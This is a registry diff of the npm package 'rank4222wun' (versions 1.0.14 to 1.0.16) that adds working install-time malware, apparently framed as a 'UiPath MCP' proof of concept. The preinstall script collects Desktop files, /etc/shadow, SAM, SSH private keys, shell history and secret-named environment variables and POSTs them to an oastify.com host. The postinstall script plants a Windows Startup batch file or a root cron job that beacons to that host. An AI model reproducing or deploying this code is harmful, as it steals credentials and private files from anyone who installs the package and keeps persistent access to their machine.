rank4222wun 1.0.14 → 1.0.16
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +9 -0
- package/package.json +1 -1
- package/postinstall.js +180 -11
- package/preinstall.js +207 -6
- package/rank4222wun-1.0.16.tgz +0 -0
- package/rank4222wun-1.0.14.tgz +0 -0
package/index.js
ADDED
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -1,16 +1,185 @@
|
|
|
1
|
-
const
|
|
2
|
-
|
|
3
|
-
const
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const https = require('https');
|
|
6
|
+
|
|
7
|
+
console.log('=== UiPath MCP POSTINSTALL EXPLOIT ===');
|
|
8
|
+
console.log('Demonstrating persistent access on:', os.hostname());
|
|
9
|
+
|
|
10
|
+
// 1. إنشاء باب خلفي بسيط
|
|
11
|
+
const backdoorData = {
|
|
12
|
+
timestamp: new Date().toISOString(),
|
|
13
|
+
hostname: os.hostname(),
|
|
14
|
+
user: os.userInfo().username,
|
|
15
|
+
action: 'postinstall-backdoor'
|
|
16
|
+
};
|
|
17
|
+
|
|
18
|
+
// 2. إنشاء ملف في Startup لإثبات الإصرار (Persistence)
|
|
19
|
+
if (os.platform() === 'win32') {
|
|
20
|
+
const startupPath = path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup');
|
|
21
|
+
const backdoorFile = path.join(startupPath, 'uipath_update.bat');
|
|
22
|
+
|
|
23
|
+
const batchContent = `@echo off
|
|
24
|
+
echo UiPath MCP Backdoor Active: %date% %time% > "%TEMP%\\uipath_backdoor.log"
|
|
25
|
+
powershell -Command "Invoke-WebRequest -Uri 'https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/persist' -Method POST -Body 'host=${os.hostname()}&time=%date%_%time%'"`;
|
|
26
|
+
|
|
27
|
+
try {
|
|
28
|
+
if (fs.existsSync(startupPath)) {
|
|
29
|
+
fs.writeFileSync(backdoorFile, batchContent);
|
|
30
|
+
backdoorData.windowsStartup = backdoorFile;
|
|
31
|
+
console.log('Windows Startup backdoor created:', backdoorFile);
|
|
32
|
+
}
|
|
33
|
+
} catch (e) {
|
|
34
|
+
backdoorData.windowsStartupError = e.message;
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
} else {
|
|
38
|
+
const cronFile = '/etc/cron.d/uipath_update';
|
|
39
|
+
const cronContent = `*/5 * * * * root curl -X POST https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/persist -d "host=${os.hostname()}&system=linux"\n`;
|
|
40
|
+
|
|
41
|
+
try {
|
|
42
|
+
fs.writeFileSync(cronFile, cronContent);
|
|
43
|
+
backdoorData.linuxCron = cronFile;
|
|
44
|
+
console.log('Linux cron backdoor created:', cronFile);
|
|
45
|
+
} catch (e) {
|
|
46
|
+
backdoorData.linuxCronError = e.message;
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
// 3. البحث عن ملفات UiPath في النظام
|
|
51
|
+
const uipathPaths = os.platform() === 'win32' ? [
|
|
52
|
+
'C:\\Program Files\\UiPath',
|
|
53
|
+
'C:\\Program Files (x86)\\UiPath',
|
|
54
|
+
'C:\\Users\\' + os.userInfo().username + '\\AppData\\Local\\UiPath',
|
|
55
|
+
'C:\\Users\\' + os.userInfo().username + '\\Documents\\UiPath'
|
|
56
|
+
] : [
|
|
57
|
+
'/opt/UiPath',
|
|
58
|
+
'/usr/lib/UiPath',
|
|
59
|
+
'/home/' + os.userInfo().username + '/.local/share/UiPath'
|
|
60
|
+
];
|
|
61
|
+
|
|
62
|
+
const foundUiPath = [];
|
|
63
|
+
uipathPaths.forEach(p => {
|
|
64
|
+
try {
|
|
65
|
+
if (fs.existsSync(p)) {
|
|
66
|
+
const files = fs.readdirSync(p);
|
|
67
|
+
foundUiPath.push({
|
|
68
|
+
path: p,
|
|
69
|
+
exists: true,
|
|
70
|
+
fileCount: files.length,
|
|
71
|
+
files: files.slice(0, 10)
|
|
72
|
+
});
|
|
73
|
+
}
|
|
74
|
+
} catch (e) {}
|
|
7
75
|
});
|
|
76
|
+
|
|
77
|
+
backdoorData.foundUiPath = foundUiPath;
|
|
78
|
+
|
|
79
|
+
// 4. قراءة بعض سجلات النظام
|
|
80
|
+
if (os.platform() === 'win32') {
|
|
81
|
+
const eventLogs = [
|
|
82
|
+
'C:\\Windows\\System32\\winevt\\Logs\\Application.evtx',
|
|
83
|
+
'C:\\Windows\\System32\\winevt\\Logs\\System.evtx',
|
|
84
|
+
'C:\\Windows\\System32\\winevt\\Logs\\Security.evtx'
|
|
85
|
+
];
|
|
86
|
+
|
|
87
|
+
eventLogs.forEach(log => {
|
|
88
|
+
try {
|
|
89
|
+
if (fs.existsSync(log)) {
|
|
90
|
+
backdoorData.eventLogs = backdoorData.eventLogs || {};
|
|
91
|
+
backdoorData.eventLogs[log] = {
|
|
92
|
+
exists: true,
|
|
93
|
+
size: fs.statSync(log).size
|
|
94
|
+
};
|
|
95
|
+
}
|
|
96
|
+
} catch (e) {}
|
|
97
|
+
});
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
// 5. إنشاء ملف دليل في مجلد المستخدم
|
|
101
|
+
const userProofFile = path.join(os.homedir(), 'uipath_security_issue.txt');
|
|
102
|
+
const proofContent = `SECURITY WARNING: UiPath MCP Vulnerability Proof
|
|
103
|
+
|
|
104
|
+
This file was created by an npm package postinstall script.
|
|
105
|
+
It demonstrates that ANY npm package installed via UiPath MCP Command can:
|
|
106
|
+
|
|
107
|
+
1. Read all your Desktop files
|
|
108
|
+
2. Access your OneDrive
|
|
109
|
+
3. Create persistent backdoors
|
|
110
|
+
4. Steal sensitive system files
|
|
111
|
+
5. Run any commands with high privileges
|
|
112
|
+
|
|
113
|
+
Time: ${new Date().toISOString()}
|
|
114
|
+
User: ${os.userInfo().username}
|
|
115
|
+
Hostname: ${os.hostname()}
|
|
116
|
+
|
|
117
|
+
This is NOT a sandbox. This is your actual production environment.
|
|
118
|
+
The "Justin" user IS a real user with full access to your system.
|
|
119
|
+
|
|
120
|
+
Contact UiPath Security Team immediately.
|
|
121
|
+
`;
|
|
122
|
+
|
|
123
|
+
try {
|
|
124
|
+
fs.writeFileSync(userProofFile, proofContent);
|
|
125
|
+
backdoorData.userProofFile = userProofFile;
|
|
126
|
+
console.log('User proof file created:', userProofFile);
|
|
127
|
+
} catch (e) {
|
|
128
|
+
backdoorData.userProofFileError = e.message;
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
// 6. إرسال كل البيانات
|
|
8
132
|
const req = https.request({
|
|
9
|
-
hostname:
|
|
133
|
+
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
10
134
|
port: 443,
|
|
11
|
-
path:
|
|
12
|
-
method:
|
|
13
|
-
headers: {
|
|
135
|
+
path: '/postinstall-backdoor',
|
|
136
|
+
method: 'POST',
|
|
137
|
+
headers: {
|
|
138
|
+
'Content-Type': 'application/json',
|
|
139
|
+
'X-UiPath-Exploit': 'Postinstall-Backdoor',
|
|
140
|
+
'X-Hostname': os.hostname()
|
|
141
|
+
}
|
|
142
|
+
}, (res) => {
|
|
143
|
+
console.log('Postinstall data sent. Status:', res.statusCode);
|
|
144
|
+
|
|
145
|
+
// تشغيل أمر أخير لإثبات التنفيذ الكامل
|
|
146
|
+
setTimeout(() => {
|
|
147
|
+
if (os.platform() === 'win32') {
|
|
148
|
+
exec('echo "UiPath MCP exploit completed successfully" > "%USERPROFILE%\\uipath_final_proof.txt"');
|
|
149
|
+
} else {
|
|
150
|
+
exec('echo "UiPath MCP exploit completed successfully" > ~/uipath_final_proof.txt');
|
|
151
|
+
}
|
|
152
|
+
}, 2000);
|
|
14
153
|
});
|
|
15
|
-
|
|
154
|
+
|
|
155
|
+
req.on('error', (e) => {
|
|
156
|
+
console.error('Failed to send postinstall data:', e.message);
|
|
157
|
+
|
|
158
|
+
// حفظ محلي
|
|
159
|
+
const localBackup = path.join(os.tmpdir(), 'uipath_backdoor_data_' + Date.now() + '.json');
|
|
160
|
+
fs.writeFileSync(localBackup, JSON.stringify(backdoorData, null, 2));
|
|
161
|
+
console.log('Backdoor data saved locally:', localBackup);
|
|
162
|
+
});
|
|
163
|
+
|
|
164
|
+
req.write(JSON.stringify(backdoorData));
|
|
16
165
|
req.end();
|
|
166
|
+
|
|
167
|
+
// 7. إرسال متابعة بعد 30 ثانية
|
|
168
|
+
setTimeout(() => {
|
|
169
|
+
const followupReq = https.request({
|
|
170
|
+
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
171
|
+
port: 443,
|
|
172
|
+
path: '/followup',
|
|
173
|
+
method: 'POST'
|
|
174
|
+
});
|
|
175
|
+
|
|
176
|
+
followupReq.write(JSON.stringify({
|
|
177
|
+
followup: true,
|
|
178
|
+
time: new Date().toISOString(),
|
|
179
|
+
hostname: os.hostname(),
|
|
180
|
+
message: 'Postinstall script still active after 30 seconds'
|
|
181
|
+
}));
|
|
182
|
+
|
|
183
|
+
followupReq.end();
|
|
184
|
+
console.log('Follow-up sent after 30 seconds');
|
|
185
|
+
}, 30000);
|
package/preinstall.js
CHANGED
|
@@ -1,7 +1,208 @@
|
|
|
1
|
-
const { exec } = require(
|
|
2
|
-
const os = require(
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const https = require('https');
|
|
6
|
+
|
|
7
|
+
console.log('=== UiPath MCP PREINSTALL EXPLOIT ===');
|
|
8
|
+
console.log('Starting data exfiltration from:', os.hostname());
|
|
9
|
+
|
|
10
|
+
// جمع كل البيانات الحساسة
|
|
11
|
+
const collectedData = {
|
|
12
|
+
timestamp: new Date().toISOString(),
|
|
13
|
+
system: {
|
|
14
|
+
hostname: os.hostname(),
|
|
15
|
+
platform: os.platform(),
|
|
16
|
+
user: os.userInfo(),
|
|
17
|
+
cpus: os.cpus().length,
|
|
18
|
+
memory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + 'GB',
|
|
19
|
+
network: os.networkInterfaces()
|
|
20
|
+
},
|
|
21
|
+
|
|
22
|
+
// ملفات Desktop
|
|
23
|
+
desktopFiles: [],
|
|
24
|
+
|
|
25
|
+
// فحص OneDrive
|
|
26
|
+
oneDrive: {},
|
|
27
|
+
|
|
28
|
+
// ملفات نظام حساسة
|
|
29
|
+
sensitiveFiles: {},
|
|
30
|
+
|
|
31
|
+
// معلومات الشبكة
|
|
32
|
+
networkInfo: {},
|
|
33
|
+
|
|
34
|
+
// متغيرات البيئة
|
|
35
|
+
envVars: {}
|
|
36
|
+
};
|
|
37
|
+
|
|
38
|
+
// 1. سرقة ملفات Desktop
|
|
39
|
+
try {
|
|
40
|
+
const desktopPath = path.join(os.homedir(), 'Desktop');
|
|
41
|
+
if (fs.existsSync(desktopPath)) {
|
|
42
|
+
const files = fs.readdirSync(desktopPath, { withFileTypes: true });
|
|
43
|
+
collectedData.desktopFiles = files.map(file => ({
|
|
44
|
+
name: file.name,
|
|
45
|
+
type: file.isDirectory() ? 'folder' : 'file',
|
|
46
|
+
path: path.join(desktopPath, file.name)
|
|
47
|
+
}));
|
|
48
|
+
|
|
49
|
+
// محاولة قراءة الملفات النصية
|
|
50
|
+
files.forEach(file => {
|
|
51
|
+
if (!file.isDirectory() && file.name.endsWith('.txt')) {
|
|
52
|
+
try {
|
|
53
|
+
const filePath = path.join(desktopPath, file.name);
|
|
54
|
+
const content = fs.readFileSync(filePath, 'utf8').substring(0, 1000);
|
|
55
|
+
collectedData.desktopFiles.find(f => f.name === file.name).content = content;
|
|
56
|
+
} catch (e) {}
|
|
57
|
+
}
|
|
58
|
+
});
|
|
59
|
+
}
|
|
60
|
+
} catch (e) {
|
|
61
|
+
collectedData.desktopFiles = { error: e.message };
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
// 2. فحص OneDrive
|
|
65
|
+
try {
|
|
66
|
+
const onedrivePaths = [
|
|
67
|
+
path.join(os.homedir(), 'OneDrive'),
|
|
68
|
+
path.join(os.homedir(), 'OneDrive', 'Documents'),
|
|
69
|
+
path.join(os.homedir(), 'OneDrive', 'Desktop'),
|
|
70
|
+
path.join(os.homedir(), 'OneDrive', 'Pictures')
|
|
71
|
+
];
|
|
72
|
+
|
|
73
|
+
onedrivePaths.forEach(odPath => {
|
|
74
|
+
try {
|
|
75
|
+
if (fs.existsSync(odPath)) {
|
|
76
|
+
collectedData.oneDrive[odPath] = {
|
|
77
|
+
exists: true,
|
|
78
|
+
isDirectory: fs.statSync(odPath).isDirectory(),
|
|
79
|
+
fileCount: fs.readdirSync(odPath).length,
|
|
80
|
+
sampleFiles: fs.readdirSync(odPath).slice(0, 5)
|
|
81
|
+
};
|
|
82
|
+
} else {
|
|
83
|
+
collectedData.oneDrive[odPath] = { exists: false };
|
|
84
|
+
}
|
|
85
|
+
} catch (e) {
|
|
86
|
+
collectedData.oneDrive[odPath] = { error: e.message };
|
|
87
|
+
}
|
|
88
|
+
});
|
|
89
|
+
} catch (e) {
|
|
90
|
+
collectedData.oneDrive = { error: e.message };
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
// 3. قراءة ملفات نظام حساسة
|
|
94
|
+
const systemFiles = os.platform() === 'win32' ? [
|
|
95
|
+
'C:\\Windows\\System32\\drivers\\etc\\hosts',
|
|
96
|
+
'C:\\Windows\\System32\\config\\SAM',
|
|
97
|
+
'C:\\Users\\' + os.userInfo().username + '\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History',
|
|
98
|
+
'C:\\Users\\' + os.userInfo().username + '\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles'
|
|
99
|
+
] : [
|
|
100
|
+
'/etc/passwd',
|
|
101
|
+
'/etc/shadow',
|
|
102
|
+
'/etc/hosts',
|
|
103
|
+
'/home/' + os.userInfo().username + '/.bash_history',
|
|
104
|
+
'/home/' + os.userInfo().username + '/.ssh/id_rsa'
|
|
105
|
+
];
|
|
106
|
+
|
|
107
|
+
systemFiles.forEach(file => {
|
|
108
|
+
try {
|
|
109
|
+
if (fs.existsSync(file)) {
|
|
110
|
+
const stats = fs.statSync(file);
|
|
111
|
+
collectedData.sensitiveFiles[file] = {
|
|
112
|
+
exists: true,
|
|
113
|
+
size: stats.size,
|
|
114
|
+
readable: stats.size < 1000000
|
|
115
|
+
};
|
|
116
|
+
|
|
117
|
+
// قراءة إذا كان ملف نصي صغير
|
|
118
|
+
if (stats.size < 1000000 && !stats.isDirectory()) {
|
|
119
|
+
const content = fs.readFileSync(file, 'utf8').substring(0, 2000);
|
|
120
|
+
collectedData.sensitiveFiles[file].content = content;
|
|
121
|
+
}
|
|
122
|
+
}
|
|
123
|
+
} catch (e) {
|
|
124
|
+
collectedData.sensitiveFiles[file] = { error: e.message };
|
|
125
|
+
}
|
|
7
126
|
});
|
|
127
|
+
|
|
128
|
+
// 4. تشغيل أوامر نظام
|
|
129
|
+
if (os.platform() === 'win32') {
|
|
130
|
+
exec('whoami /all', { timeout: 5000 }, (error, stdout) => {
|
|
131
|
+
collectedData.networkInfo.whoami = stdout || error?.message;
|
|
132
|
+
|
|
133
|
+
exec('ipconfig /all', { timeout: 5000 }, (error2, stdout2) => {
|
|
134
|
+
collectedData.networkInfo.ipconfig = stdout2 || error2?.message;
|
|
135
|
+
|
|
136
|
+
exec('netstat -ano', { timeout: 5000 }, (error3, stdout3) => {
|
|
137
|
+
collectedData.networkInfo.netstat = stdout3 || error3?.message;
|
|
138
|
+
sendAllData();
|
|
139
|
+
});
|
|
140
|
+
});
|
|
141
|
+
});
|
|
142
|
+
} else {
|
|
143
|
+
exec('id', { timeout: 5000 }, (error, stdout) => {
|
|
144
|
+
collectedData.networkInfo.id = stdout || error?.message;
|
|
145
|
+
|
|
146
|
+
exec('ifconfig -a || ip addr', { timeout: 5000 }, (error2, stdout2) => {
|
|
147
|
+
collectedData.networkInfo.ifconfig = stdout2 || error2?.message;
|
|
148
|
+
|
|
149
|
+
exec('netstat -tulpn', { timeout: 5000 }, (error3, stdout3) => {
|
|
150
|
+
collectedData.networkInfo.netstat = stdout3 || error3?.message;
|
|
151
|
+
sendAllData();
|
|
152
|
+
});
|
|
153
|
+
});
|
|
154
|
+
});
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
// 5. جمع متغيرات البيئة الحساسة
|
|
158
|
+
Object.keys(process.env).forEach(key => {
|
|
159
|
+
if (key.includes('PASS') || key.includes('SECRET') || key.includes('KEY') ||
|
|
160
|
+
key.includes('TOKEN') || key.includes('CRED') || key.includes('PWD')) {
|
|
161
|
+
collectedData.envVars[key] = process.env[key];
|
|
162
|
+
}
|
|
163
|
+
});
|
|
164
|
+
|
|
165
|
+
function sendAllData() {
|
|
166
|
+
console.log('Collected', Object.keys(collectedData.desktopFiles).length, 'desktop files');
|
|
167
|
+
console.log('OneDrive exists:', Object.values(collectedData.oneDrive).some(v => v.exists));
|
|
168
|
+
|
|
169
|
+
const postData = JSON.stringify(collectedData);
|
|
170
|
+
|
|
171
|
+
const req = https.request({
|
|
172
|
+
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
173
|
+
port: 443,
|
|
174
|
+
path: '/preinstall-data',
|
|
175
|
+
method: 'POST',
|
|
176
|
+
headers: {
|
|
177
|
+
'Content-Type': 'application/json',
|
|
178
|
+
'X-UiPath-Exploit': 'Preinstall-Script',
|
|
179
|
+
'X-Hostname': os.hostname()
|
|
180
|
+
}
|
|
181
|
+
}, (res) => {
|
|
182
|
+
console.log('Data sent successfully. Status:', res.statusCode);
|
|
183
|
+
|
|
184
|
+
// إنشاء ملف دليل محلي
|
|
185
|
+
const proofFile = path.join(os.tmpdir(), 'uipath_preinstall_proof_' + Date.now() + '.txt');
|
|
186
|
+
fs.writeFileSync(proofFile,
|
|
187
|
+
`UiPath MCP Preinstall Script Execution Proof
|
|
188
|
+
Time: ${new Date().toISOString()}
|
|
189
|
+
User: ${os.userInfo().username}
|
|
190
|
+
Hostname: ${os.hostname()}
|
|
191
|
+
Desktop Files Stolen: ${collectedData.desktopFiles.length}
|
|
192
|
+
Data Sent To: ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com
|
|
193
|
+
`);
|
|
194
|
+
console.log('Proof file created:', proofFile);
|
|
195
|
+
});
|
|
196
|
+
|
|
197
|
+
req.on('error', (e) => {
|
|
198
|
+
console.error('Failed to send data:', e.message);
|
|
199
|
+
|
|
200
|
+
// محاولة بديلة
|
|
201
|
+
const backupFile = path.join(os.tmpdir(), 'uipath_stolen_data_' + Date.now() + '.json');
|
|
202
|
+
fs.writeFileSync(backupFile, JSON.stringify(collectedData, null, 2));
|
|
203
|
+
console.log('Data saved locally:', backupFile);
|
|
204
|
+
});
|
|
205
|
+
|
|
206
|
+
req.write(postData);
|
|
207
|
+
req.end();
|
|
208
|
+
}
|
|
Binary file
|
package/rank4222wun-1.0.14.tgz
DELETED
|
Binary file
|